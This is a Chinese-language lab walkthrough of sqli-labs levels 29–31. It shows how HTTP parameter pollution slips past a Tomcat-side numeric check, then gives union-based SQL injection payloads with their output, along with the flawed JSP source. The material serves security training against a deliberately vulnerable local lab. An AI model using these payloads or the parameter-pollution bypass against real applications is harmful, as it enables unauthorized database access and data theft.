这一部分对应sqli-labs的29-31题,重点是http参数污染/HPP/HTTP Parameter Pollution。
0.环境配置
直接使用jspstudy,省略tomcat等安装步骤。
jspstudy的站点域名,配置到jspstudy/www路径,端口8080(默认80).
几个题的index.jsp,第27行的url修改成本地真实路径,以下是我的虚拟机中配置的路径:
URL sqli_labs = new URL("http://localhost/phproot/sqli-labs/Less-29/index.php?"+ qs);
1. HPP
HTTP参数污染可用于绕过安全检查。
先讲解一下服务器两层架构:
Apache和Tomcat都可以做为独立的Web服务器运行。Apache是Web服务器,只处理 静态HTML;Tomcat是Java应用服务器,静态HTML,动态 JSP Servlet 都能处理。
现在要说的情况是,客户端向tomcat发送请求,tomcat再向发送apache请求。
下面列举了一些常见Web服务器对同样名称的参数出现多次的处理方式:
WEB服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
ASP/IIS | Request.QueryString(“par”) | All (comma-delimited string) |
Python/Apache | getvalue(“par”) | All (List) |
然后直接上题。
29. GET-WAF-Single quote
访问/sqli-labs/Less-29/index.jsp?id=1
Your Login name:Dumb
Your Password:Dumb
判断下闭合和注入:
?id=1'
?id=1' '
发现无论怎么输入,都会返回错误页面。其实是因为tomcat服务器做了检查(可理解成waf)。
此时web服务器是apache(可以用wappalyzer浏览器插件查看),重复参数会取最后一个,那么访问/sqli-labs/Less-29/index.jsp?id=1&id=2
Your Login name:Angelina
Your Password:I-kill-you
访问/sqli-labs/Less-29/index.jsp?id=1&id=2&id=3
Your Login name:Dummy
Your Password:p@ssword
符合预期。再判断一下闭合和注入:
?id=1&id=1'
-- You have an error in your SQL syntax;....
?id=1&id=1' '
-- Your Login name:Dumb
-- Your Password:Dumb
ok,绕过成功,闭合是引号,继续构造paylaod:
-- 确定字段并占位
?id=1&id=-1' union select 1,2,3 -- x
-- Your Login name:2
-- Your Password:3
-- 获取信息
?id=1&id=-1' union select 1,version(),database() -- x
-- Your Login name:5.5.47
-- Your Password:security
后面获取表名、库名、字段,按套路来就行了。
看下源码:
<%
String id = request.getParameter("id"); // jsp这样获取get参数
String qs = request.getQueryString();
if(id!=null)
{
if(id!="")
{
try
{
String rex = "^\\d+$"; // 检查id是数字 这里取的是id=1
Boolean match=id.matches(rex);
if(match == true)
{
URL sqli_labs = new URL("http://localhost/phproot/sqli-labs/Less-29/index.php?"+ qs);
URLConnection sqli_labs_connection = sqli_labs.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
sqli_labs_connection.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
out.print(inputLine);
in.close();
}
else
{
response.sendRedirect("hacked.jsp"); // 用第一个id判断闭合会重定向到失败页面
}
}
catch (Exception ex)
{
out.print("<font color= '#FFFF00'>");
out.println(ex);
out.print("</font>");
}
finally
{
}
}
}
else
{
URL sqli_labs = new URL("http://localhost/phproot/phproot/sqli-labs/Less-29/index.php");
// 无参数也会访问php
}
%>
30. Blind 29
判断闭合:
?id=1&id=1'
-- 正常
?id=1&id=1"
-- 无username/password
?id=1&id=1""
-- 有username/password
闭合是双引号。
-- 确定字段并占位
?id=1&id=-1" union select 1,2,3 -- x
-- Your Login name:2
-- Your Password:3
-- 获取信息
?id=1&id=-1" union select 1,version(),database() -- x
-- Your Login name:5.5.47
-- Your Password:security
看php源码 其实还把print_r(mysql_error())
注释掉了,不过并没有用到报错注入。
31. twist 30
判断闭合:
?id=1&id=1'
-- 正常回显username/password
?id=1&id=1"
-- 提示语法错误 "1"") LIMIT 0,1
根据报错,闭合是双引号加括号。
?id=1&id=-1") union select 1,version(),database() -- x
-- Your Login name:5.5.47
-- Your Password:security